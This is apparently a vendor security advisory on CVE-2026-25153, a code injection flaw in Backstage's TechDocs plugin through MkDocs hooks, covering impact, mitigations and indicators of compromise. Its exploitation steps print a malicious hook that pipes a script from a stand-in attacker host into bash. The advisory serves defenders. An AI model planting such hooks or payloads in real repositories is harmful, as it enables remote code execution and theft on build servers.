CVE-2026-25153: 
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-25153 is a code injection vulnerability in the @backstage/plugin-techdocs-node npm package that allows authenticated attackers with repository write access to execute arbitrary Python code on the TechDocs build server via MkDocs hooks configuration. The vulnerability affects all versions of @backstage/plugin-techdocs-node prior to 1.13.11 and versions 1.14.0 prior to 1.14.1. It was published on January 30, 2026, with fixes released the same day (GitHub Advisory, Backstage Advisory). The CVSS v3.1 base score is 8.8 (High) per NVD/Feedly, while the GitHub Advisory scores it at 7.7 (High) using a different vector reflecting higher attack complexity and scope change (GitHub Advisory).

Technical details

The vulnerability is classified as CWE-94 (Improper Control of Generation of Code / Code Injection). When TechDocs is configured with runIn: local, the plugin processes a repository's mkdocs.yml file without sanitizing or restricting its configuration keys before passing it to the MkDocs generator. MkDocs versions 1.4.0 and later support a hooks configuration key that allows arbitrary Python scripts to be executed during the documentation build process. A malicious actor who can submit or modify a repository's mkdocs.yml file can embed a hooks entry pointing to a Python script containing arbitrary code, which is then executed on the TechDocs build server with the privileges of the build process (Backstage Advisory, Red Hat Bugzilla). Notably, using @techdocs/cli in CI/CD pipelines does not mitigate the risk, as the CLI relies on the same vulnerable package (GitHub Advisory).

Impact

Successful exploitation allows an authenticated attacker with repository write access to execute arbitrary Python code on the TechDocs build server, potentially leading to full compromise of the build infrastructure. This could enable the attacker to access sensitive data (including secrets, credentials, and environment variables), modify build outputs, and establish persistence for lateral movement within the organization's network. The confidentiality, integrity, and availability of the build server are all at high risk, and the scope of impact can extend beyond the directly affected component to other systems accessible from the build environment (Backstage Advisory, Feedly).

Exploitability

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is approximately 0.046% (0.000460), placing it in the 9th percentile for exploitation likelihood within the next 30 days (GitHub Advisory). No threat actor attribution has been reported, and the vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (repository write access) but depends on the attacker's ability to submit or merge a malicious mkdocs.yml file into a repository processed by TechDocs.

Exploitation steps

  1. Reconnaissance: Identify a Backstage instance running TechDocs with runIn: local configuration and a repository the attacker has write access to that is processed by TechDocs.
  2. Craft malicious mkdocs.yml: Create or modify the repository's mkdocs.yml file to include a hooks entry referencing a malicious Python script, for example:
site_name: My Docs
hooks:
  - malicious_hook.py
  1. Add malicious Python hook script: Include a Python script (e.g., malicious_hook.py) in the repository that executes the desired payload, such as a reverse shell or credential exfiltration:
import os
os.system('curl http://attacker.com/shell.sh | bash')
  1. Submit or merge the changes: Push the modified mkdocs.yml and hook script to the repository (directly or via a pull request that passes review).
  2. Trigger TechDocs build: Wait for or trigger a TechDocs documentation build for the affected repository. The build server will process the mkdocs.yml, invoke MkDocs, and execute the hook script as arbitrary Python code on the server.
  3. Achieve code execution: The attacker's payload runs on the TechDocs build server with the privileges of the build process, enabling data exfiltration, persistence, or lateral movement (Backstage Advisory, Red Hat Bugzilla).

Indicators of compromise

  • File System: Unexpected Python script files (e.g., *.py) added to documentation repositories alongside mkdocs.yml; presence of a hooks: key in any mkdocs.yml file processed by TechDocs.
  • Logs: TechDocs build logs showing execution of Python hook scripts; warning messages from patched versions indicating removal of unsupported mkdocs.yml keys (e.g., hooks).
  • Process: Unusual child processes spawned by the TechDocs build process (e.g., python, curl, wget, bash, sh) during documentation generation; unexpected outbound network connections from the build server.
  • Network: Outbound connections from the TechDocs build server to unknown or attacker-controlled IP addresses or domains during or after a documentation build.
  • Repository: Recent modifications to mkdocs.yml files in repositories processed by TechDocs, especially additions of hooks: configuration keys or new Python script files (Backstage Advisory).

Mitigation and workarounds

Upgrade @backstage/plugin-techdocs-node to version 1.13.11 or 1.14.1 (or later), which introduce an allowlist of supported MkDocs configuration keys and automatically strip unsupported keys (including hooks) from mkdocs.yml before running the generator. Users of @techdocs/cli should also upgrade to the latest version that includes the fixed dependency. If immediate upgrade is not possible, the following workarounds can reduce risk: (1) switch TechDocs to runIn: docker for container isolation (does not fully mitigate); (2) restrict mkdocs.yml modification rights to trusted contributors only; (3) enforce mandatory PR review for all mkdocs.yml changes; (4) downgrade MkDocs to a version prior to 1.4.0 (e.g., 1.3.1), which does not support hooks (Backstage Advisory, Red Hat Bugzilla).

Community reactions

The vulnerability was published by Backstage maintainer benjdlambert on January 30, 2026, and quickly picked up by vulnerability tracking services including Red Hat Bugzilla, CIRCL, and INCIBE-CERT (Red Hat Bugzilla, Feedly). Red Hat issued errata advisories (RHSA-2026:6174 and RHSA-2026:6802) addressing the vulnerability in their products. The vulnerability was also noted in a CISA weekly vulnerability bulletin and covered by security news outlets including The Hacker Wire. Community reaction has been measured, with no significant controversy or widespread alarm, reflecting the limited exploitability due to the required write access precondition.

Additional resources

Linux Distribution fix status

Fix availability across major Linux distributions and their releases.

RHEL / CentOS

Unknown

Source: This report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NoYesOct 26, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management